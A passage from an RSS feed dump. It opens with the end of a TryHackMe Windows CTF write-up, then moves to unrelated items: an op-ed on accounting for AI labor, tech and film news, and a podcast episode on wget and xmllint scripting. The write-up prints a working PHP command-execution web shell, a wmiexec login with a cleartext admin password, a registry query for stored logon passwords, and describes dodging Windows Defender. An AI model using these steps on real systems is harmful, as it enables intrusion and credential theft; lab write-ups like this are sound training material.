DESKTOP-997GG7D<br>|   NetBIOS_Computer_Name: DESKTOP-997GG7D<br>|   DNS_Domain_Name: DESKTOP-997GG7D<br>|   DNS_Computer_Name: DESKTOP-997GG7D<br>|   Product_Version: 10.0.18362<br>|_  System_Time: 2026-07-09T06:17:20+00:00<br>5900/tcp open  vnc           VNC (protocol 3.8)<br>| vnc-info: <br>|   Protocol version: 3.8<br>|   Security types: <br>|     Ultra (17)<br>|_    VNC Authentication (2)<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required<br>|_clock-skew: mean: 1s, deviation: 0s, median: 0s<br>| smb2-time: <br>|   date: 2026-07-09T06:17:22<br>|_  start_date: N/A</pre><ul><li>As revealed in the scan output, the target had open FTP and SMB services running. It also had VNC running on port 5900, which is a tool used to remotely control a computer. The target also had an Apache web server running on port 80.</li><li>I visited the webpage and saw a slideshow of several random images.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dGY_YYPe-2cPMFahuq97xA.png"></figure><ul><li>I checked the page source and found the following JavaScript code.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pkq0OGbAzjJdWufJJ8sYeA.png"></figure><ul><li>The code here revealed the /content.php file and the /images/ endpoint.</li><li>I visited the /images directory and found the following images that were running on the slideshow.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7GZybqgdd0vWqywWz62WiQ.png"></figure><ul><li>Next, I moved to FTP enumeration. I got access to the FTP directory because anonymous login was enabled.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ma2pVq2_EykrO3auyrrA1w.png"></figure><ul><li>There was a notice.txt file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9bpjbVW1IGDHOi3GXKCauw.png"></figure><ul><li>There was a message left in notice.txt written as follows.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_dh2nFcaBmojIvr2-7BZQ.png"></figure><ul><li>It mentioned that the images FTP directory was moved to a Windows file share, which more probably than not referred to SMB shares.</li><li>Next, I moved on to SMB enumeration.</li></ul><h3>0x01: SMB Enumeration</h3><ul><li>I used smbclient to list the available shares on the target.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QSlMp9k7kmXchKP3enoVUA.png"></figure><ul><li>Here I could see several custom shares such as images$ , Installs$ and Users.</li><li>I first checked the images share and found the following images as I had seen in the /images directory on the webpage. I wondered if we could upload a webshell here and gain an initial foothold.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CDAFLtt2NdSM_l9j-LkUdg.png"></figure><ul><li>I got the PHP reverse shell from <a href="https://github.com/pentestmonkey/php-reverse-shell">PentestMonkey</a>, configured it with my custom IP address and port, and uploaded it to the images SMB share.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gVrz3IfH0F_RZzUWwNnlQw.png"></figure><ul><li>I navigated to the /images endpoint on the webpage and tried running the webshell but it immediately got flagged by Windows Defender and was deleted.</li><li>Next, I tried using a different webshell which executed commands and took the input via GET-based parameters.</li></ul><pre>&lt;html&gt;<br>&lt;body&gt;<br>&lt;form method="GET" name="&lt;?php echo basename($_SERVER['PHP_SELF']); ?&gt;"&gt;<br>&lt;input type="TEXT" name="cmd" id="cmd" size="80"&gt;<br>&lt;input type="SUBMIT" value="Execute"&gt;<br>&lt;/form&gt;<br>&lt;pre&gt;<br>&lt;?php<br>    if(isset($_GET['cmd']))<br>    {<br>        system($_GET['cmd']);<br>    }<br>?&gt;<br>&lt;/pre&gt;<br>&lt;/body&gt;<br>&lt;script&gt;document.getElementById("cmd").focus();&lt;/script&gt;<br>&lt;/html&gt;</pre><ul><li>I uploaded the shell again to the SMB images share and it worked like a charm!</li></ul><h3>0x02: Web Shell</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ruwLr_Ouo6mzw6LC-4Nzw.png"></figure><ul><li>I was logged in as the sign user. I looked for the user flag in the sign user directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K0ueQFlNypgeFuQkWfu-ew.png"></figure><ul><li>The user flag was found in the user_flag.txt file.</li><li>Next, I checked out the Installs share in C:\ directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S60Y2GKlfMGdy1ogehSjuA.png"></figure><ul><li>The following files were found in the directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cb8kQ_rMc_XrfcnL-Uk6cQ.png"></figure><ul><li>There were a lot of interesting files to check out here. I viewed the contents of every file, starting with Install Guide.txt .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Tn-MeE3fhrj8zRRKxfF0w.png"></figure><ul><li>I couldn’t figure out how these instructions could be of any use to me, so I moved on to other files.</li><li>I checked the Install_www_and_deploy.bat script and found the following code.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qf0_u9lxOE4-wOqOt1EIaQ.png"></figure><ul><li>This seemed like a batch script that was running the infamous PsExec tool by Impacket, authenticating with administrator credentials. Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.</li><li>I used Impacket’s WMIExec tool to get a shell on the target. I could have used PsExec, but considering Windows Defender was running on the target, it would have been easily flagged.</li></ul><pre>impacket-wmiexec Administrator:RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi@10.48.186.208</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pArD96wPJGZhxCT1T0IZlQ.png"></figure><h3>0x03: Admin Shell</h3><ul><li>I also had to find the sign user’s password as per the objectives stated in the room. It took me quite a few lookups on Google till I eventually found a way to get the password from the Windows Registry.</li></ul><pre>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u9c4IhdcofRGnplxbZhI-Q.png"></figure><ul><li>I was able to fetch the user's password from the Winlogon registry key.</li><li>Next, I had to find the VNC password. My first instinct was to return to the Installs share as before and look through the ultravnc.ini file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*0Qhoz02MgHQ-GUJcsYtn2Q.png"></figure><ul><li>As can be seen in the first lines of the file itself, we found the encoded password.</li><li>I took the encoded parts of the password and used this website to decode them. <a href="https://keydecryptor.com/decryption-tools/vnc">Online VNC Password Decoder (Decryptor) — KeyDecryptor Tool</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vcNZJbS7yupNyyTcjDDO5Q.png"></figure><ul><li>I had successfully obtained the VNC password. The only objective that remained was the administrator flag.</li><li>I checked the Desktop folder of the Administrator and found the admin flag in admin_flag.txt .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Tn_PSdY2jrzVpJ-1Y0hHA.png"></figure><ul><li>And with that, all the flags were obtained, and the room was solved!</li></ul><p>I hope you found this write-up useful. Make sure to drop a follow for more such content in the future.</p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=006864c93de0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/allsignspoint2pwnage-tryhackme-windows-write-up-006864c93de0">AllSignsPoint2Pwnage — TryHackMe Windows Write-up</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI bill is the easy part. The hard part is everything it changed]]></title>
<description><![CDATA[Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.



This June, the conversation shifted fr...]]></description>
<link>https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.</p>



<p class="wp-block-paragraph">This June, the conversation shifted from token maxing to token cutting. <a href="https://www.nytimes.com/">The New York Times</a> reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.</p>



<p class="wp-block-paragraph">All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the <a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">human-versus-token framing</a> names two sources of labor when the reality is four.</p>



<h2 class="wp-block-heading">The enterprise now has 4 sources of labor</h2>



<p class="wp-block-paragraph">There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our <a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a>, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&amp;L.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-1-four-source-framework.png?w=1024" alt="Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026" class="wp-image-4198947" width="1024" height="502" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.</p>



<p class="wp-block-paragraph">AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.</p>



<h2 class="wp-block-heading">What you are actually running is supervised machine labor</h2>



<p class="wp-block-paragraph">The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.</p>



<h3 class="wp-block-heading">The accounting breaks in 3 places at once</h3>



<p class="wp-block-paragraph">Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.</p>



<p class="wp-block-paragraph">When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.</p>



<h2 class="wp-block-heading">The per-employee number is the wrong unit</h2>



<p class="wp-block-paragraph">Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.</p>



<p class="wp-block-paragraph">Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and <a href="https://withlanai.com/ai-labor-report">nobody had seen until it was measured</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-2-white-labeled-example.png?w=1024" alt="White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement." class="wp-image-4198945" width="1024" height="485" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">The gap existed for months before anyone saw it.</p>



<p class="wp-block-paragraph">Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-3-lanai-wakefield-research.png?w=1024" alt="Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026" class="wp-image-4198944" width="1024" height="199" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">AI labor orphaning</h2>



<p class="wp-block-paragraph">That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.</p>



<p class="wp-block-paragraph">What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.</p>



<p class="wp-block-paragraph">Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.</p>



<h2 class="wp-block-heading">The real cost of AI is not the model. It is the redesign</h2>



<p class="wp-block-paragraph">Three layers. Most organizations only manage the first.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-4-managing-layer-one.png?w=1024" alt="Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation." class="wp-image-4198946" width="1024" height="335" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">What to actually do</h2>



<p class="wp-block-paragraph">The <a href="https://withlanai.com/ai-labor-report">12% of organizations</a> that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. </p>



<ul class="wp-block-list">
<li>Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.</li>



<li>Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.</li>



<li>Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.</li>



<li>Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.</li>



<li>Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.</li>
</ul>



<p class="wp-block-paragraph">When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.</p>



<p class="wp-block-paragraph">The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.</p>



<p class="wp-block-paragraph"><em>Findings are drawn from the </em><a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a><em>, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[China Just Dropped an Ultra-Realistic Bionic Humanoid You Can Buy RIGHT NOW!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 0x - Views:2 China may have just unveiled the most human-like robot the world has ever seen. UBTech's new UWORLD U1 Series features realistic silicone skin, emotion-aware AI, long-term memory, ultra-smooth movement, and the ability to recognize your emotions while...]]></description>
<link>https://tsecurity.de/de/3685556/videos/china-just-dropped-an-ultra-realistic-bionic-humanoid-you-can-buy-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685556/videos/china-just-dropped-an-ultra-realistic-bionic-humanoid-you-can-buy-right-now/</guid>
<pubDate>Wed, 22 Jul 2026 09:51:26 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 0x - Views:2 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/4vD29BEjdE8?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>China may have just unveiled the most human-like robot the world has ever seen. UBTech's new UWORLD U1 Series features realistic silicone skin, emotion-aware AI, long-term memory, ultra-smooth movement, and the ability to recognize your emotions while remembering conversations over time. But the biggest surprise isn't the technology; it's that these robots are already entering mass production with thousands of orders.<br />
<br />
In this video, we break down UBTech's U1 humanoid robot, its emotion-aware AI, Agent Memory OS, 88 degrees of freedom, ultra-bionic design, pricing, real-world applications, and the controversial feature that allows the robot to recreate a real person's face and voice. We also explore what this means for the future of AI companions, elder care, robotics, and the rapidly growing humanoid robot industry. Could this be the beginning of a future where robots become part of everyday life?<br />
<br />
#HumanoidRobot #UBTech #ArtificialIntelligence #China #Robotics #AI #Technology #FutureTech<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple TV’s The Dink Debuts This Week, Here’s What Critics Are Saying]]></title>
<description><![CDATA[Apple TV’s new sports comedy from producer Ben Stiller is almost here, and the first reviews suggest that The Dink delivers a light, funny, and familiar underdog story.



When Does The Dink Premiere on Apple TV?



The Dink will premiere globally on Apple TV on Friday, July 24, 2026. The movie r...]]></description>
<link>https://tsecurity.de/de/3685502/ios-mac-os/apple-tvs-the-dink-debuts-this-week-heres-what-critics-are-saying/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685502/ios-mac-os/apple-tvs-the-dink-debuts-this-week-heres-what-critics-are-saying/</guid>
<pubDate>Wed, 22 Jul 2026 09:18:32 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple TV’s new sports comedy from producer Ben Stiller is almost here, and the first reviews suggest that The Dink delivers a light, funny, and familiar underdog story.



When Does The Dink Premiere on Apple TV?



The Dink will premiere globally on Apple TV on Friday, July 24, 2026. The movie runs for 1 hour and 42 minutes and combines sports, comedy, family tension, and an unlikely journey into competitive pickleball.



Jake Johnson leads the cast as Dusty Boyd, a former tennis prodigy who now coaches children at a country club managed by his demanding father, Chuck, played by Ed Harris.



Dusty strongly dislikes pickleball and supports his father’s campaign against the increasingly popular sport. However, an old wrist injury forces him to stop playing tennis and use pickleball as part of his recovery. His decision soon places him in the middle of a battle that could decide the future of the struggling club.



Mary Steenburgen plays Candace, an experienced pickleball player who helps Dusty understand the sport. The supporting cast includes Aaron Chen, Patton Oswalt, Chloe Fineman, Chris Parnell, Christine Taylor and Martin Kove. Tennis stars Andy Roddick and John McEnroe also appear in supporting roles.



What Are Critics Saying About The Dink?



Early reviews describe The Dink as a playful return to the exaggerated sports comedies that became popular during the 2000s. Several critics have compared its tone and underdog structure to movies such as Dodgeball and Talladega Nights.



Jake Johnson’s performance has received particular praise. Reviewers say his dry delivery works well for Dusty, a bitter former athlete who slowly begins to reconsider his opinions about pickleball and his relationship with his father.



Mary Steenburgen and Ed Harris also bring warmth to the story, while the appearances from Ben Stiller, John McEnroe and Andy Roddick add more humor to the tournament scenes.



Some reviews note that the plot follows a predictable sports-movie structure and leaves a few supporting storylines underdeveloped. Still, the overall response points to an entertaining comedy with silly jokes, likable performances and enough heart to support its familiar storyline.



The Dink arrives on Apple TV on July 24 and looks suited to viewers searching for a relaxed summer comedy with an unusual sporting twist.




https://www.youtube.com/watch?v=YyVNFzx5Pl8]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung Galaxy Unpacked July 2026: How to watch]]></title>
<description><![CDATA[Samsung's next Galaxy Unpacked event is just around the corner, and the company is expected to take the wraps off a bunch of new devices. Based on the rumors and leaks we've seen so far, Samsung's next generation of foldables will likely be the stars of the show. Samsung is expected to show off a...]]></description>
<link>https://tsecurity.de/de/3685088/it-nachrichten/samsung-galaxy-unpacked-july-2026-how-to-watch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685088/it-nachrichten/samsung-galaxy-unpacked-july-2026-how-to-watch/</guid>
<pubDate>Wed, 22 Jul 2026 03:38:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung's next Galaxy Unpacked event is just around the corner, and the company is expected to take the wraps off a bunch of new devices. Based on the rumors and leaks we've seen so far, Samsung's next generation of foldables will likely be the stars of the show. Samsung is expected to show off a […]]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 


I will illustrate this using a bash script that can be used to download HPR podcasts.


Even if you d...]]></description>
<link>https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</guid>
<pubDate>Wed, 22 Jul 2026 02:06:46 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. </p>

<p>
I will illustrate this using a bash script that can be used to download HPR podcasts.</p>

<p>
Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.</p>

<p>
It is the principles that are discussed here that are important, rather than the implementation. </p>

<p>

</p>

<p>
02</p>

<p>
I realize that there are already a number of different podcast download programs available,  including at least one written in bash. </p>

<p>
However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.</p>

<p>
If so, then I hope the following is of some use to you.</p>

<p>
If not, then you may still find some of the things discussed here to still be of interest.</p>

<p>

</p>

<p>
Some of the subjects I cover include</p>

<p>
wget to a user defined file name.</p>

<p>
parsing xml with xmllint.</p>

<p>
using inotifywait to trigger an action when a file is created or modified.</p>

<p>
using notify-send to send a message to the notification area.</p>

<p>
and</p>

<p>
a way of allowing a cron job to send a message to the user interface.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
03 Background</p>

<p>

</p>

<p>
There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. </p>

<p>
Apparently some people have been experiencing problems with the way the episode URLs are structured. </p>

<p>

</p>

<p>
04</p>

<p>
I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.</p>

<p>
Instead, I will present a bash script that I have written which can be used to download HPR podcasts.</p>

<p>
This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.</p>

<p>
This is a simplified version of a script that I have used for years to download HPR and other podcasts.</p>

<p>

</p>

<p>
05</p>

<p>
I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.</p>

<p>
I will instead describe what each section does and why I chose to do things that way.</p>

<p>
Perhaps other people can offer suggestions of better ways to do things.</p>

<p>
I will post the full bash script in the show notes.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
06 Fetching Podcasts</p>

<p>

</p>

<p>
The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.</p>

<p>
RSS is a very long established and widely supported mechanism for this and other purposes.</p>

<p>
An RSS feed is basically an XML document which can be accessed over HTTP.</p>

<p>
These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.</p>

<p>

</p>

<p>
07</p>

<p>
Basically what we need to do is the following</p>

<p>

</p>

<p>
• Download the RSS XML document.</p>

<p>
• Extract the URL links to the audio files.</p>

<p>
• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.</p>

<p>

</p>

<p>
08</p>

<p>
• Make a list of the new URLs.</p>

<p>
• Go through this list of new URLs and download each of the new audio files.</p>

<p>
• Check to see that we actually received the new audio file.</p>

<p>
• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs</p>

<p>

</p>

<p>
09</p>

<p>
In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.</p>

<p>
We may wish to receive a notification of when a new podcast has arrived however.</p>

<p>
We would probably also wish to receive notification of any errors or failures.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
10 Fetching Podcasts - The Preliminaries</p>

<p>

</p>

<p>
Our desire to be able to run the script automatically imposes some requirements on our solution.</p>

<p>
To schedule the script we will use cron.</p>

<p>
Cron is a Linux facility to run scripts on a schedule.</p>

<p>

</p>

<p>
11</p>

<p>
One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.</p>

<p>

</p>

<p>
12</p>

<p>
So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.</p>

<p>

</p>

<p>
I will skip over the details of these, although I may make reference to them later.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
13 Get the RSS Data</p>

<p>

</p>

<p>
The first thing of real substance to do is to fetch the current RSS feed data.</p>

<p>
I have put this in a bash function called getrssurldata</p>

<p>

</p>

<p>
The contents of this function are a one liner, but with a number of elements chained together through pipes.</p>

<p>

</p>

<p>
14 Downloading the RSS XML Document</p>

<p>
• First we use wget, which is a standard command on most Linux distros.</p>

<p>
• We specify four things.</p>

<p>
• First we set a timeout. I have chosen 20 seconds.</p>

<p>
• Next we set the retry limit. I have chosen 3.</p>

<p>

</p>

<p>
15</p>

<p>
• Then we specify that the output of wget is sent to stdout rather than saved as a file.</p>

<p>
• This is done by using the -O option followed by a space and then a dash.</p>

<p>
• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.</p>

<p>
• Then we specify the URL of the HPR RSS feed.</p>

<p>

</p>

<p>
16 Contents of the XML Document</p>

<p>
This gives us the HPR RSS XML document. </p>

<p>
There are about 5,000 lines in this RSS document.</p>

<p>
Most of those lines are the show notes which are also included in the feed.</p>

<p>

</p>

<p>
17 Extracting the Podcast Episode URLs</p>

<p>
There are only 10 lines of the document that contain information that we are interested in however.</p>

<p>
These lines are enclosed in "enclosure" XML tags. </p>

<p>
We just need to find those lines and separate out the URLs</p>

<p>

</p>

<p>
18 Standard Command Line Tools</p>

<p>
There are two ways that we can do this.</p>

<p>
One is to use a combination of grep, sed, and cut.</p>

<p>
Grep can find the lines containing the enclosure tags.</p>

<p>
Sed and cut can extract the URL from the surrounding extraneous data. </p>

<p>

</p>

<p>
19</p>

<p>
However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.</p>

<p>
This may be an acceptable problem in practical terms, but we can do better.</p>

<p>

</p>

<p>
20 Using an XML Parser</p>

<p>
The other method is to actually parse the XML document.</p>

<p>
there are at least two command line XML parsers that I am aware of.</p>

<p>
These are "xmllint", and "xlmstarlet".</p>

<p>
I have used xmllint in this example.</p>

<p>
I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.</p>

<p>

</p>

<p>
21</p>

<p>
I won't give a detailed explanation of all the things that xmllint can do.</p>

<p>
It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.</p>

<p>
Describing everything it can do would be at least one episode in itself. </p>

<p>
I will instead just give the particular command used and explain each element of it.</p>

<p>

</p>

<p>
22</p>

<p>
In this example assume that we are piping the output of wget directly into xmllint.</p>

<p>
The complete command is</p>

<p>

</p>

<p>
xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2</p>

<p>

</p>

<p>
23</p>

<p>
In this example,</p>

<p>
xmllint is the name of the command.</p>

<p>
--xpath tells it to parse the document according to the string which follows.</p>

<p>
"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.</p>

<p>
The "-" which follows tells it to look for input from stdin rather than from a file.</p>

<p>

</p>

<p>
24</p>

<p>
The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.</p>

<p>
To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.</p>

<p>
We then save the result in a temporary file.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
25 Finding the New Episodes</p>

<p>

</p>

<p>
Next we wish to find the new podcast episodes.</p>

<p>
Each HPR episode is identified by a unique URL.</p>

<p>
This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.</p>

<p>

</p>

<p>
https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3</p>

<p>

</p>

<p>
26</p>

<p>
